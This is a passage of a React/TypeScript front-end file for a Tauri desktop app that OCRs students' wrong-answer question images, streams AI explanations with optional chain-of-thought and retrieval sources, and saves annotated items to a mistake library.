try {
const request = {
subject,
question_image_files: questionImages,
analysis_image_files: [], // 不再使用解析图片
user_question: userQuestion,
enable_chain_of_thought: enableChainOfThought,
};
if (useStreamMode) {
console.log('🚀 开始分步骤分析...');
// 第一步：OCR分析，立即显示结果
console.log('📝 第一步：OCR和分类分析...');
const stepResult = await TauriAPI.analyzeStepByStep(request);
// 立即显示OCR结果
setOcrResult(stepResult.ocr_result);
setIsOcrComplete(true);
console.log('✅ OCR分析完成:', stepResult.ocr_result);
// 创建临时的分析结果对象
const tempAnalysisResult: AnalysisResponse = {
temp_id: stepResult.temp_id,
initial_data: {
ocr_text: stepResult.ocr_result.ocr_text,
tags: stepResult.ocr_result.tags,
mistake_type: stepResult.ocr_result.mistake_type,
first_answer: '', // 暂时为空，等待流式填充
},
};
setAnalysisResult(tempAnalysisResult);
// 第二步：开始流式AI解答
console.log('🤖 第二步：开始流式AI解答...');
// 创建初始的助手消息（空内容，等待流式填充）
const initialMessage: ChatMessage = {
role: 'assistant',
content: '',
timestamp: new Date().toISOString(),
};
setChatHistory([initialMessage]);
setStreamingMessageIndex(0);
// 改进的流式处理逻辑
const streamEvent = `analysis_stream_${stepResult.temp_id}`;
let fullContent = '';
let fullThinkingContent = '';
let contentListenerActive = true;
let thinkingListenerActive = true;
// 使用Tauri的listen API而不是streamHandler
const { listen } = await import('@tauri-apps/api/event');
// 统一检查并处理流完成状态的函数
const checkAndFinalizeStreams = () => {
console.log(`🔍 检查流完成状态: contentActive=${contentListenerActive}, thinkingActive=${thinkingListenerActive}`);
// 核心改进：主内容流完成就是整个流程完成
if (!contentListenerActive) {
console.log('✅ 主内容流已完成，标记整个流程为完成状态');
setStreamingMessageIndex(null); // 停止显示流式光标
setIsInputAllowed(true); // 允许用户输入
setIsAnalyzing(false); // 分析完成
}
// 当所有流都完成时，清理监听器
if (!contentListenerActive && !thinkingListenerActive) {
console.log('🎉 所有流式内容（分析或对话）均已完成，清理监听器');
} else {
console.log(`⏳ 流状态: 主内容=${contentListenerActive ? '进行中' : '已完成'}, 思维链=${thinkingListenerActive ? '进行中' : '已完成'}`);
}
};
// 监听主内容流
const unlistenContent = await listen(streamEvent, (event: any) => {
if (!contentListenerActive) return;
console.log(`💬 收到主内容流:`, event.payload);
if (event.payload) {
if (event.payload.is_complete) {
if (event.payload.content && event.payload.content.length >= fullContent.length) {
fullContent = event.payload.content;
}
console.log('🎉 主内容流完成，总长度:', fullContent.length);
setChatHistory(prev => {
const newHistory = [...prev];
if (newHistory[0]) {
newHistory[0] = { ...newHistory[0], content: fullContent };
}
return newHistory;
});
contentListenerActive = false;
// 立即更新分析结果中的first_answer
if (analysisResult) {
setAnalysisResult(prev => prev ? {
...prev,
initial_data: {
...prev.initial_data,
first_answer: fullContent
}
} : null);
}
checkAndFinalizeStreams(); // 检查是否所有流都完成了
} else if (event.payload.content) {
fullContent += event.payload.content;
console.log(`📝 累积内容，当前长度: ${fullContent.length}`);
setChatHistory(prev => {
const newHistory = [...prev];
if (newHistory[0]) {
newHistory[0] = { ...newHistory[0], content: fullContent };
}
return newHistory;
});
}
}
});
// 如果启用了思维链，监听思维链事件
if (enableChainOfThought) {
const reasoningEvent = `${streamEvent}_reasoning`;
console.log(`🧠 监听思维链事件: ${reasoningEvent}`);
const unlistenThinking = await listen(reasoningEvent, (event: any) => {
if (!thinkingListenerActive) return;
console.log(`🧠 思维链流内容:`, event.payload);
if (event.payload) {
if (event.payload.is_complete) {
if (event.payload.content && event.payload.content.length >= fullThinkingContent.length) {
fullThinkingContent = event.payload.content;
}
console.log('🎉 思维链流完成，总长度:', fullThinkingContent.length);
setThinkingContent(prev => new Map(prev).set(0, fullThinkingContent));
thinkingListenerActive = false;
checkAndFinalizeStreams(); // 检查是否所有流都完成了
} else if (event.payload.content) {
fullThinkingContent += event.payload.content;
console.log(`🧠 累积思维链，当前长度: ${fullThinkingContent.length}`);
setThinkingContent(prev => new Map(prev).set(0, fullThinkingContent));
}
}
});
// 添加超时机制：如果主内容完成后5秒思维链还没完成，自动标记为完成
setTimeout(() => {
if (!contentListenerActive && thinkingListenerActive) {
console.warn('⚠️ 思维链流超时，自动标记为完成');
thinkingListenerActive = false;
checkAndFinalizeStreams();
}
}, 5000);
} else {
console.log('ℹ️ 未启用思维链，直接标记为完成');
thinkingListenerActive = false;
checkAndFinalizeStreams(); // 如果没有思维链，立即检查一次，因为此时主内容可能已经完成
}
// 如果启用了RAG，监听RAG来源信息
if (enableRag) {
const ragSourcesEvent = `${streamEvent}_rag_sources`;
console.log(`📚 监听RAG来源事件: ${ragSourcesEvent}`);
const unlistenRagSources = await listen(ragSourcesEvent, (event: any) => {
console.log(`📚 收到RAG来源信息:`, event.payload);
if (event.payload && event.payload.sources) {
// 更新聊天历史中的RAG来源信息
setChatHistory(prev => {
const newHistory = [...prev];
if (newHistory[0] && newHistory[0].role === 'assistant') {
newHistory[0] = {
...newHistory[0],
rag_sources: event.payload.sources
};
}
return newHistory;
});
console.log('✅ RAG来源信息已更新');
}
});
}
// 启动流式解答
console.log(`🚀 启动流式解答，temp_id: ${stepResult.temp_id}, enable_chain_of_thought: ${enableChainOfThought}, enable_rag: ${enableRag}`);
if (enableRag) {
// 使用RAG增强的流式解答
await TauriAPI.startRagEnhancedStreamingAnswer({
temp_id: stepResult.temp_id,
enable_chain_of_thought: enableChainOfThought,
enable_rag: true,
rag_options: {
top_k: ragTopK,
enable_reranking: true // 如果配置了重排序模型会自动使用
}
});
} else {
// 使用普通的流式解答
await TauriAPI.startStreamingAnswer(stepResult.temp_id, enableChainOfThought);
}
} else {
// 使用传统非流式分析
console.log('📊 使用传统分析模式...');
const response = await analyzeNewMistake(request);
setAnalysisResult(response);
// 立即显示OCR结果
setOcrResult({
ocr_text: response.initial_data.ocr_text,
tags: response.initial_data.tags,
mistake_type: response.initial_data.mistake_type,
});
setIsOcrComplete(true);
setChatHistory([{
role: 'assistant',
content: response.initial_data.first_answer,
timestamp: new Date().toISOString(),
}]);
}
} catch (error) {
console.error('❌ 分析失败:', error);
alert('分析失败: ' + error);
setStreamingMessageIndex(null);
setOcrResult(null);
setIsOcrComplete(false);
} finally {
setIsAnalyzing(false);
}
};
// 发送聊天消息 - 完全重写，修复所有流式问题
const handleSendMessage = async () => {
if (!currentMessage.trim() || !analysisResult) return;
const userMessage: ChatMessage = {
role: 'user',
content: currentMessage,
timestamp: new Date().toISOString(),
};
const newChatHistory = [...chatHistory, userMessage];
setChatHistory(newChatHistory);
setCurrentMessage('');
setIsChatting(true);
try {
if (useStreamMode) {
// 流式对话 - 全新改进版本
console.log('💬 开始流式对话...');
// 创建空的助手消息等待流式填充
const assistantMessage: ChatMessage = {
role: 'assistant',
content: '',
timestamp: new Date().toISOString(),
};
const streamingHistory = [...newChatHistory, assistantMessage];
setChatHistory(streamingHistory);
setStreamingMessageIndex(streamingHistory.length - 1);
// 改进的流式处理逻辑
const streamEvent = `continue_chat_stream_${analysisResult.temp_id}`;
let fullContent = '';
let fullThinkingContent = '';
let contentListenerActive = true;
let thinkingListenerActive = true;
// 使用Tauri的listen API
const { listen } = await import('@tauri-apps/api/event');
// 统一检查并处理流完成状态的函数 (对话部分，可以考虑提取到外部)
const checkAndFinalizeChatStreams = () => {
console.log(`🔍 检查对话流完成状态: contentActive=${contentListenerActive}, thinkingActive=${thinkingListenerActive}`);
// 核心改进：主内容流完成就是整个对话完成
if (!contentListenerActive) {
console.log('✅ 对话主内容流已完成，标记整个对话为完成状态');
setStreamingMessageIndex(null); // 停止显示流式光标
setIsInputAllowed(true); // 允许用户继续输入
setIsChatting(false); // 对话完成
}
// 当所有流都完成时，清理监听器
if (!contentListenerActive && !thinkingListenerActive) {
console.log('🎉 所有对话流式内容均已完成，清理监听器');
} else {
console.log(`⏳ 对话流状态: 主内容=${contentListenerActive ? '进行中' : '已完成'}, 思维链=${thinkingListenerActive ? '进行中' : '已完成'}`);
}
};
// 监听主内容流
const unlistenContent = await listen(streamEvent, (event: any) => {
if (!contentListenerActive) return;
console.log(`💬 收到对话主内容流:`, event.payload);
if (event.payload) {
if (event.payload.is_complete) {
if (event.payload.content && event.payload.content.length >= fullContent.length) {
fullContent = event.payload.content;
}
console.log('🎉 对话主内容流完成，总长度:', fullContent.length);
setChatHistory(prev => {
const newHistory = [...prev];
const lastIdx = newHistory.length - 1;
if (newHistory[lastIdx] && newHistory[lastIdx].role === 'assistant') {
newHistory[lastIdx] = { ...newHistory[lastIdx], content: fullContent };
}
return newHistory;
});
contentListenerActive = false;
// 立即更新分析结果中的first_answer
if (analysisResult) {
setAnalysisResult(prev => prev ? {
...prev,
initial_data: {
...prev.initial_data,
first_answer: fullContent
}
} : null);
}
checkAndFinalizeChatStreams(); // 检查是否所有流都完成了
} else if (event.payload.content) {
fullContent += event.payload.content;
setChatHistory(prev => {
const newHistory = [...prev];
const lastIdx = newHistory.length - 1;
if (newHistory[lastIdx] && newHistory[lastIdx].role === 'assistant') {
newHistory[lastIdx] = { ...newHistory[lastIdx], content: fullContent };
}
return newHistory;
});
}
}
});
// 如果启用了思维链，监听思维链事件
if (enableChainOfThought) {
const reasoningEvent = `${streamEvent}_reasoning`;
console.log(`🧠 监听对话思维链事件: ${reasoningEvent}`);
const lastMessageIndex = streamingHistory.length - 1;
const unlistenThinking = await listen(reasoningEvent, (event: any) => {
if (!thinkingListenerActive) return;
console.log(`🧠 对话思维链流内容:`, event.payload);
if (event.payload) {
if (event.payload.is_complete) {
if (event.payload.content && event.payload.content.length >= fullThinkingContent.length) {
fullThinkingContent = event.payload.content;
}
console.log('🎉 对话思维链流完成，总长度:', fullThinkingContent.length);
setThinkingContent(prev => new Map(prev).set(lastMessageIndex, fullThinkingContent));
thinkingListenerActive = false;
checkAndFinalizeChatStreams(); // 检查是否所有流都完成了
} else if (event.payload.content) {
fullThinkingContent += event.payload.content;
setThinkingContent(prev => new Map(prev).set(lastMessageIndex, fullThinkingContent));
}
}
});
} else {
thinkingListenerActive = false;
checkAndFinalizeChatStreams(); // 如果没有思维链，立即检查
}
// 如果启用了RAG，监听对话的RAG来源信息
if (enableRag) {
const ragSourcesEvent = `${streamEvent}_rag_sources`;
console.log(`📚 监听对话RAG来源事件: ${ragSourcesEvent}`);
const unlistenRagSources = await listen(ragSourcesEvent, (event: any) => {
console.log(`📚 收到对话RAG来源信息:`, event.payload);
if (event.payload && event.payload.sources) {
// 更新聊天历史中最后一条助手消息的RAG来源信息
setChatHistory(prev => {
const newHistory = [...prev];
const lastIdx = newHistory.length - 1;
if (newHistory[lastIdx] && newHistory[lastIdx].role === 'assistant') {
newHistory[lastIdx] = {
...newHistory[lastIdx],
rag_sources: event.payload.sources
};
}
return newHistory;
});
console.log('✅ 对话RAG来源信息已更新');
}
});
}
// 调用后端API
if (enableRag) {
// 使用RAG增强的对话
const ragRequest = {
temp_id: analysisResult.temp_id,
chat_history: newChatHistory,
enable_chain_of_thought: enableChainOfThought,
enable_rag: true,
rag_options: {
top_k: ragTopK,
enable_reranking: true
}
};
await TauriAPI.continueRagEnhancedChatStream(ragRequest);
} else {
// 使用普通对话
const request = {
temp_id: analysisResult.temp_id,
chat_history: newChatHistory,
enable_chain_of_thought: enableChainOfThought,
};
await TauriAPI.continueChatStream(request);
}
} else {
// 传统非流式对话
const request = {
temp_id: analysisResult.temp_id,
chat_history: newChatHistory,
enable_chain_of_thought: enableChainOfThought,
};
const response = await continueChat(request);
const assistantMessage: ChatMessage = {
role: 'assistant',
content: response.new_assistant_message,
timestamp: new Date().toISOString(),
};
setChatHistory([...newChatHistory, assistantMessage]);
}
} catch (error) {
console.error('❌ 对话失败:', error);
alert('对话失败: ' + error);
setStreamingMessageIndex(null);
} finally {
setIsChatting(false);
}
};
// 保存到错题库
const handleSaveToLibrary = async () => {
if (!analysisResult) return;
try {
// 复制聊天历史，并将思维链内容保存到message中
const chatHistoryWithThinking = chatHistory.map((message, index) => {
// 如果是assistant消息且有思维链，则添加thinking_content字段
if (message.role === 'assistant' && thinkingContent.has(index)) {
return {
...message,
thinking_content: thinkingContent.get(index)
};
}
return message;
});
const result = await TauriAPI.saveMistakeFromAnalysis({
temp_id: analysisResult.temp_id,
final_chat_history: chatHistoryWithThinking,
});
if (result.success) {
alert('题目已保存到错题库！');
// 重置分析状态
handleReset();
} else {
alert('保存失败，请重试');
}
} catch (error) {
console.error('保存失败:', error);
alert('保存失败: ' + error);
}
};
// 重置分析
const handleReset = () => {
setAnalysisResult(null);
setChatHistory([]);
setCurrentMessage('');
setStreamingMessageIndex(null);
setOcrResult(null);
setIsOcrComplete(false);
setUserQuestion('');
setQuestionImages([]);
setThinkingContent(new Map());
setIsInputAllowed(false);
};
// 选择错题
const handleSelectMistake = async (mistake: MistakeItem) => {
try {
// 🎯 修复：保留MistakeLibrary中转换的图片URLs，但补充聊天记录
console.log('🔍 正在获取错题完整数据:', mistake.id);
console.log('🔍 MistakeLibrary传入的数据:', {
id: mistake.id,
hasQuestionImageUrls: !!mistake.question_image_urls,
questionImageUrlsLength: mistake.question_image_urls?.length || 0,
hasQuestionImages: mistake.question_images?.length || 0,
chatHistoryLength: mistake.chat_history?.length || 0
});
const fullMistakeData = await TauriAPI.getMistakeDetails(mistake.id);
if (fullMistakeData) {
// 🎯 关键修复：合并数据，保留转换后的图片URLs，并正确处理思维链
const mergedMistake = {
...fullMistakeData,
// 如果MistakeLibrary提供了转换后的图片URLs，使用它们
question_image_urls: mistake.question_image_urls || fullMistakeData.question_image_urls || []
};
// 🎯 修复：从聊天历史中恢复思维链数据
const recoveredThinkingContent = new Map<number, string>();
if (mergedMistake.chat_history) {
mergedMistake.chat_history.forEach((message, index) => {
if (message.role === 'assistant' && message.thinking_content) {
console.log(`🧠 [错题加载] 恢复思维链，索引${index}:`, message.thinking_content.substring(0, 50) + '...');
recoveredThinkingContent.set(index, message.thinking_content);
}
});
}
console.log('✅ 获取到完整错题数据并保留图片URLs:', {
id: mergedMistake.id,
chatHistoryLength: mergedMistake.chat_history?.length || 0,
chatHistoryData: mergedMistake.chat_history,
hasQuestionImages: mergedMistake.question_images?.length || 0,
hasQuestionImageUrls: !!mergedMistake.question_image_urls,
questionImageUrlsLength: mergedMistake.question_image_urls?.length || 0,
thinkingContentSize: recoveredThinkingContent.size
});
// 🎯 修复：将恢复的思维链数据添加到错题对象中
const finalMistake = {
...mergedMistake,
thinkingContent: recoveredThinkingContent
};
setSelectedMistake(finalMistake);
} else {
console.warn('⚠️ 未获取到完整数据，使用原始数据');
setSelectedMistake(mistake);
}
handleViewChange('mistake-detail');
} catch (error) {
console.error('❌ 获取错题详情失败:', error);
// 如果获取失败，使用原始数据作为fallback
setSelectedMistake(mistake);
handleViewChange('mistake-detail');
}
};
// 更新错题
const handleUpdateMistake = (updatedMistake: MistakeItem) => {
setSelectedMistake(updatedMistake);
};
// 删除错题
const handleDeleteMistake = (mistakeId: string) => {
console.log('删除错题:', mistakeId);
setSelectedMistake(null);
handleViewChange('library');
};
// 为NEW_MISTAKE_ANALYSIS模式创建API Provider - 使用useCallback缓存
const createAnalysisApiProvider = useCallback((): HostedChatApiProvider => ({
initiateAndGetStreamId: async (params) => {
const request = {
subject: params.subject!,
question_image_files: params.questionImages!,
analysis_image_files: [], // 不再使用解析图片
user_question: params.userQuestion!,
enable_chain_of_thought: params.enableChainOfThought,
};
const stepResult = await TauriAPI.analyzeStepByStep(request);
return {
streamIdForEvents: stepResult.temp_id,
ocrResultData: stepResult.ocr_result,
initialMessages: []
};
},
startMainStreaming: async (params) => {
if (params.enableRag) {
await TauriAPI.startRagEnhancedStreamingAnswer({
temp_id: params.streamIdForEvents,
enable_chain_of_thought: params.enableChainOfThought,
enable_rag: true,
rag_options: {
top_k: params.ragTopK,
enable_reranking: true
}
});
} else {
await TauriAPI.startStreamingAnswer(params.streamIdForEvents, params.enableChainOfThought);
}
},
continueUserChat: async (params) => {
if (params.enableRag) {
const ragRequest = {
temp_id: params.streamIdForEvents,
chat_history: params.fullChatHistory,
enable_chain_of_thought: params.enableChainOfThought,
enable_rag: true,
rag_options: {
top_k: params.ragTopK,
enable_reranking: true
}
};
await TauriAPI.continueRagEnhancedChatStream(ragRequest);
} else {
const request = {
temp_id: params.streamIdForEvents,
chat_history: params.fullChatHistory,
enable_chain_of_thought: params.enableChainOfThought,
};
await TauriAPI.continueChatStream(request);
}
}
}), []); // 空依赖数组，因为这个provider不依赖任何状态
// 渲染侧边栏导航 - 现代化风格
const renderSidebar = () => (
<ModernSidebar
currentView={currentView}
onViewChange={handleViewChange}
sidebarCollapsed={sidebarCollapsed}
onToggleSidebar={() => setSidebarCollapsed(!sidebarCollapsed)}
batchAnalysisEnabled={batchAnalysisEnabled}
geminiAdapterTestEnabled={geminiAdapterTestEnabled}
imageOcclusionEnabled={imageOcclusionEnabled}
startDragging={startDragging}
/>
);
// 使用useMemo缓存hostProps，避免每次渲染都创建新对象
const analysisHostProps = useMemo((): UniversalAppChatHostProps => ({
mode: 'NEW_MISTAKE_ANALYSIS',
businessSessionId: analysisSessionId,
preloadedData: {
subject,
userQuestion,
questionImages,
// 不需要预加载其他数据，因为是新分析
},
serviceConfig: {
apiProvider: createAnalysisApiProvider(),
streamEventNames: {
initialStream: (id) => ({
data: `analysis_stream_${id}`,
reasoning: `analysis_stream_${id}_reasoning`,
ragSources: `analysis_stream_${id}_rag_sources`
}),
continuationStream: (id) => ({
data: `continue_chat_stream_${id}`,
reasoning: `continue_chat_stream_${id}_reasoning`,
ragSources: `continue_chat_stream_${id}_rag_sources`
}),
},
defaultEnableChainOfThought: true,
defaultEnableRag: enableRag,
defaultRagTopK: ragTopK,
defaultSelectedLibraries: selectedLibraries,
},
onSaveRequest: async (data) => {
// 实现原App.tsx中的保存逻辑
try {
console.log('🔍 App.tsx保存请求:', data);
console.log('📊 analysisResult:', analysisResult);
// 优先使用直接传递的temp_id
let temp_id = null;
if (data.temp_id) {
temp_id = data.temp_id;
console.log('✅ 从data.temp_id获取temp_id:', temp_id);
} else if (analysisResult?.temp_id) {
temp_id = analysisResult.temp_id;
console.log('✅ 从analysisResult获取temp_id:', temp_id);
} else if (data.ocrResult?.temp_id) {
temp_id = data.ocrResult.temp_id;
console.log('✅ 从data.ocrResult获取temp_id:', temp_id);
} else {
// 如果都没有，使用businessSessionId作为fallback
temp_id = data.businessSessionId;
console.log('⚠️ 使用businessSessionId作为fallback temp_id:', temp_id);
}
// 验证数据有效性
if (!temp_id) {
throw new Error('无法获取有效的temp_id，无法保存');
}
if (!data.chatHistory || data.chatHistory.length === 0) {
throw new Error('聊天历史为空，无法保存');
}
console.log('🆔 最终使用的temp_id:', temp_id);
console.log('📜 保存的聊天历史数量:', data.chatHistory.length);
console.log('📝 聊天历史详情:', data.chatHistory);
const result = await TauriAPI.saveMistakeFromAnalysis({
temp_id: temp_id,
final_chat_history: data.chatHistory,
});
if (result.success) {
alert('题目已保存到错题库！');
// 🎯 优先处理前端传递的总结内容
if (data.summaryContent && result.final_mistake_item) {
try {
console.log('📝 保存前端生成的总结内容到数据库...');
// 🎯 修复：改进解析逻辑，保持原始格式
const parseSummaryContent = (content: string) => {
console.log('📄 [总结解析] 原始内容长度:', content.length);
console.log('📄 [总结解析] 原始内容预览:', content.substring(0, 200) + '...');
// 🎯 策略1：如果内容较短或者没有明显的分段标识，保存到第一个字段
const lines = content.split('\n');
const hasNumberedSections = lines.some(line => /^\s*\d+\.\s*(核心知识点|错误分析|学习建议)/.test(line));
const hasMarkdownSections = lines.some(line => /^#+\s*(核心知识点|错误分析|学习建议)/.test(line));
if (!hasNumberedSections && !hasMarkdownSections) {
console.log('📄 [总结解析] 无明确分段，保存到mistake_summary');
return {
mistakeSummary: content.trim(),
userErrorAnalysis: null,
};
}
// 🎯 策略2：尝试分段，但保持更完整的内容
let mistakeSummary = '';
let userErrorAnalysis = '';
let currentSection = '';
let includeCurrentLine = false;
for (const line of lines) {
const trimmedLine = line.trim();
// 检测章节标题
if (/^\s*\d+\.\s*核心知识点|^#+\s*核心知识点|题目解析|正确解法/.test(trimmedLine)) {
currentSection = 'mistake_summary';
includeCurrentLine = true;
} else if (/^\s*\d+\.\s*错误分析|^#+\s*错误分析|^\s*\d+\.\s*学习建议|^#+\s*学习建议|薄弱环节/.test(trimmedLine)) {
currentSection = 'user_error_analysis';
includeCurrentLine = true;
} else {
includeCurrentLine = true;
}
if (includeCurrentLine) {
if (currentSection === 'mistake_summary') {
mistakeSummary += line + '\n';
} else if (currentSection === 'user_error_analysis') {
userErrorAnalysis += line + '\n';
} else if (!currentSection) {
// 如果还没有检测到分段，先放到第一个字段
mistakeSummary += line + '\n';
}
}
}
// 🎯 策略3：如果分段后某个字段为空，将所有内容保存到第一个字段
if (!mistakeSummary.trim() && !userErrorAnalysis.trim()) {
console.log('📄 [总结解析] 分段失败，保存完整内容到mistake_summary');
return {
mistakeSummary: content.trim(),
userErrorAnalysis: null,
};
}
console.log('📄 [总结解析] 分段结果:', {
mistakeSummaryLength: mistakeSummary.trim().length,
userErrorAnalysisLength: userErrorAnalysis.trim().length
});
return {
mistakeSummary: mistakeSummary.trim() || null,
userErrorAnalysis: userErrorAnalysis.trim() || null,
};
};
const { mistakeSummary, userErrorAnalysis } = parseSummaryContent(data.summaryContent);
// 更新错题记录，添加总结字段
const updatedMistake = {
...result.final_mistake_item,
mistake_summary: mistakeSummary,
user_error_analysis: userErrorAnalysis,
status: "completed", // 🎯 修复：设置状态为已完成
updated_at: new Date().toISOString(),
};
await TauriAPI.updateMistake(updatedMistake);
console.log('✅ 前端总结内容已成功保存到数据库');
} catch (error) {
console.error('保存前端总结内容失败:', error);
alert(`⚠️ 总结保存失败：${error}\n错题已保存，可稍后手动生成总结。`);
}
}
} else {
alert('保存失败，请重试');
}
} catch (error) {
console.error('保存失败:', error);
alert('保存失败: ' + error);
}
},
}), [analysisSessionId, subject, userQuestion, questionImages, enableRag, ragTopK, selectedLibraries, analysisResult]);
// 缓存回调函数
const handleCoreStateUpdate = useCallback((data: any) => {
// 仅在开发环境打印状态更新信息，避免生产环境噪音
if (import.meta.env.DEV) {
console.log('🔄 UniversalAppChatHost state update:', {
sessionId: analysisSessionId,
chatHistoryLength: data.chatHistory.length,
thinkingContentSize: data.thinkingContent.size,
hasOcrResult: !!data.ocrResult,
isAnalyzing: data.isAnalyzing,
isChatting: data.isChatting
});
}
}, [analysisSessionId]);
const handleSaveRequest = useCallback(async (data: any) => {
// 实现原App.tsx中的保存逻辑
try {
console.log('🔍 App.tsx保存请求:', data);
console.log('📊 analysisResult:', analysisResult);
// 优先使用直接传递的temp_id
let temp_id = null;
if (data.temp_id) {
temp_id = data.temp_id;
console.log('✅ 从data.temp_id获取temp_id:', temp_id);
} else if (analysisResult?.temp_id) {
temp_id = analysisResult.temp_id;
console.log('✅ 从analysisResult获取temp_id:', temp_id);
} else if (data.ocrResult?.temp_id) {
temp_id = data.ocrResult.temp_id;
console.log('✅ 从data.ocrResult获取temp_id:', temp_id);
} else {
// 如果都没有，使用businessSessionId作为fallback
temp_id = data.businessSessionId;
console.log('⚠️ 使用businessSessionId作为fallback temp_id:', temp_id);
}
// 验证数据有效性
if (!temp_id) {
throw new Error('无法获取有效的temp_id，无法保存');
}
if (!data.chatHistory || data.chatHistory.length === 0) {
throw new Error('聊天历史为空，无法保存');
}
console.log('🆔 最终使用的temp_id:', temp_id);
console.log('📜 保存的聊天历史数量:', data.chatHistory.length);
console.log('📝 聊天历史详情:', data.chatHistory);
const result = await TauriAPI.saveMistakeFromAnalysis({
temp_id: temp_id,
final_chat_history: data.chatHistory,
});
if (result.success) {
alert('题目已保存到错题库！');
// 🎯 优先处理前端传递的总结内容
if (data.summaryContent && result.final_mistake_item) {
try {
console.log('📝 保存前端生成的总结内容到数据库...');
// 🎯 修复：改进解析逻辑，保持原始格式
const parseSummaryContent = (content: string) => {
console.log('📄 [总结解析] 原始内容长度:', content.length);
console.log('📄 [总结解析] 原始内容预览:', content.substring(0, 200) + '...');
// 🎯 策略1：如果内容较短或者没有明显的分段标识，保存到第一个字段
const lines = content.split('\n');
const hasNumberedSections = lines.some(line => /^\s*\d+\.\s*(核心知识点|错误分析|学习建议)/.test(line));
const hasMarkdownSections = lines.some(line => /^#+\s*(核心知识点|错误分析|学习建议)/.test(line));
if (!hasNumberedSections && !hasMarkdownSections) {
console.log('📄 [总结解析] 无明确分段，保存到mistake_summary');
return {
mistakeSummary: content.trim(),
userErrorAnalysis: null,
};
}
// 🎯 策略2：尝试分段，但保持更完整的内容
let mistakeSummary = '';
let userErrorAnalysis = '';
let currentSection = '';
let includeCurrentLine = false;
for (const line of lines) {
const trimmedLine = line.trim();
// 检测章节标题
if (/^\s*\d+\.\s*核心知识点|^#+\s*核心知识点|题目解析|正确解法/.test(trimmedLine)) {
currentSection = 'mistake_summary';
includeCurrentLine = true;
} else if (/^\s*\d+\.\s*错误分析|^#+\s*错误分析|^\s*\d+\.\s*学习建议|^#+\s*学习建议|薄弱环节/.test(trimmedLine)) {
currentSection = 'user_error_analysis';
includeCurrentLine = true;
} else {
includeCurrentLine = true;
}
if (includeCurrentLine) {
if (currentSection === 'mistake_summary') {
mistakeSummary += line + '\n';
} else if (currentSection === 'user_error_analysis') {
userErrorAnalysis += line + '\n';
} else if (!currentSection) {
// 如果还没有检测到分段，先放到第一个字段
mistakeSummary += line + '\n';
}
}
}
// 🎯 策略3：如果分段后某个字段为空，将所有内容保存到第一个字段
if (!mistakeSummary.trim() && !userErrorAnalysis.trim()) {
console.log('📄 [总结解析] 分段失败，保存完整内容到mistake_summary');
return {
mistakeSummary: content.trim(),
userErrorAnalysis: null,
};
}
console.log('📄 [总结解析] 分段结果:', {
mistakeSummaryLength: mistakeSummary.trim().length,
userErrorAnalysisLength: userErrorAnalysis.trim().length
});
return {
mistakeSummary: mistakeSummary.trim() || null,
userErrorAnalysis: userErrorAnalysis.trim() || null,
};
};
const { mistakeSummary, userErrorAnalysis } = parseSummaryContent(data.summaryContent);
// 更新错题记录，添加总结字段
const updatedMistake = {
...result.final_mistake_item,
mistake_summary: mistakeSummary,
user_error_analysis: userErrorAnalysis,
status: "completed", // 🎯 修复：设置状态为已完成
updated_at: new Date().toISOString(),
};
await TauriAPI.updateMistake(updatedMistake);
console.log('✅ 前端总结内容已成功保存到数据库');
} catch (error) {
console.error('保存前端总结内容失败:', error);
alert(`⚠️ 总结保存失败：${error}\n错题已保存，可稍后手动生成总结。`);
}
}
} else {
alert('保存失败，请重试');
}
} catch (error) {
console.error('保存失败:', error);
alert('保存失败: ' + error);
}
}, [analysisResult]);
// 渲染分析界面 - 左右分栏布局
const renderAnalysisView = () => {
return <UniversalAppChatHost
key="analysis-host"
{...analysisHostProps}
onCoreStateUpdate={handleCoreStateUpdate}
onSaveRequest={handleSaveRequest}
/>;
};
return (
<SubjectProvider>
<div
className="app"
style={{
'--sidebar-width': sidebarCollapsed ? '60px' : '240px'
} as React.CSSProperties}
>
<WindowControls />
<div className="app-body">
{renderSidebar()}
<main className="app-content">
<div className="content-header" onMouseDown={startDragging}>
<div className="content-header-left">
<button
className="sidebar-toggle"
onClick={() => setSidebarCollapsed(!sidebarCollapsed)}
onMouseDown={(e) => e.stopPropagation()}
title={sidebarCollapsed ? '展开侧边栏' : '收起侧边栏'}
>
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="2" strokeLinecap="round" strokeLinejoin="round">
{sidebarCollapsed ? (
// 展开图标 (chevron-right)
<polyline points="9,18 15,12 9,6"></polyline>
) : (
// 收起图标 (chevron-left)
<polyline points="15,18 9,12 15,6"></polyline>
)}
</svg>
</button>
{/* 全局科目选择器 */}
<UnifiedSubjectSelector
mode="enabled"
className="header-subject-selector compact"
/>
</div>
</div>
<div className="content-body">
{/* 分析页面组件始终挂载，只是控制显示/隐藏 - 实现保活机制 */}
<div className="page-container" style={{ display: currentView === 'analysis' ? 'block' : 'none' }}>
{(() => {
console.log('🔄 [保活检查] 分析页面容器渲染，当前视图:', currentView, '显示状态:', currentView === 'analysis' ? 'block' : 'none');
return renderAnalysisView();
})()}
</div>
{/* 批量分析组件始终挂载，只是控制显示/隐藏 */}
<div className="page-container" style={{ display: currentView === 'batch' ? 'block' : 'none' }}>
<BatchAnalysis onBack={() => setCurrentView('analysis')} />
</div>
{/* 🎯 修复：错题库组件每次切换时重新加载数据，不再保活 */}
<div className="page-container" style={{ display: currentView === 'library' ? 'block' : 'none' }}>
<MistakeLibrary
onSelectMistake={handleSelectMistake}
onBack={() => handleViewChange('analysis')}
refreshTrigger={libraryRefreshTrigger}
/>
</div>
{/*
DEPRECATED: 单次回顾视图已废弃 - 2024年6月5日
该功能已被统一回顾模块替代
*/}
{/*
{currentView === 'review' && (
<ReviewAnalysis onBack={() => setCurrentView('analysis')} />
)}
*/}
{/* 统一回顾分析组件始终挂载，只是控制显示/隐藏 - 实现保活机制 */}
<div className="page-container" style={{ display: currentView === 'unified-review' ? 'block' : 'none' }}>
<ReviewAnalysisDashboard
onCreateNew={() => setCurrentView('create-review')}
onViewSession={(sessionId: string) => {
setCurrentReviewSessionId(sessionId);
setCurrentView('review-session');
}}
/>
</div>
{/* 创建回顾分析组件始终挂载，只是控制显示/隐藏 - 实现保活机制 */}
<div className="page-container" style={{ display: currentView === 'create-review' ? 'block' : 'none' }}>
<CreateReviewAnalysisView
onCancel={() => setCurrentView('unified-review')}
onCreateSuccess={(sessionId: string) => {
console.log('📍 App.tsx收到创建成功回调, sessionId:', sessionId);
console.log('📍 App.tsx当前状态: currentView=', currentView, ', currentReviewSessionId=', currentReviewSessionId);
setCurrentReviewSessionId(sessionId);
setCurrentView('review-session');
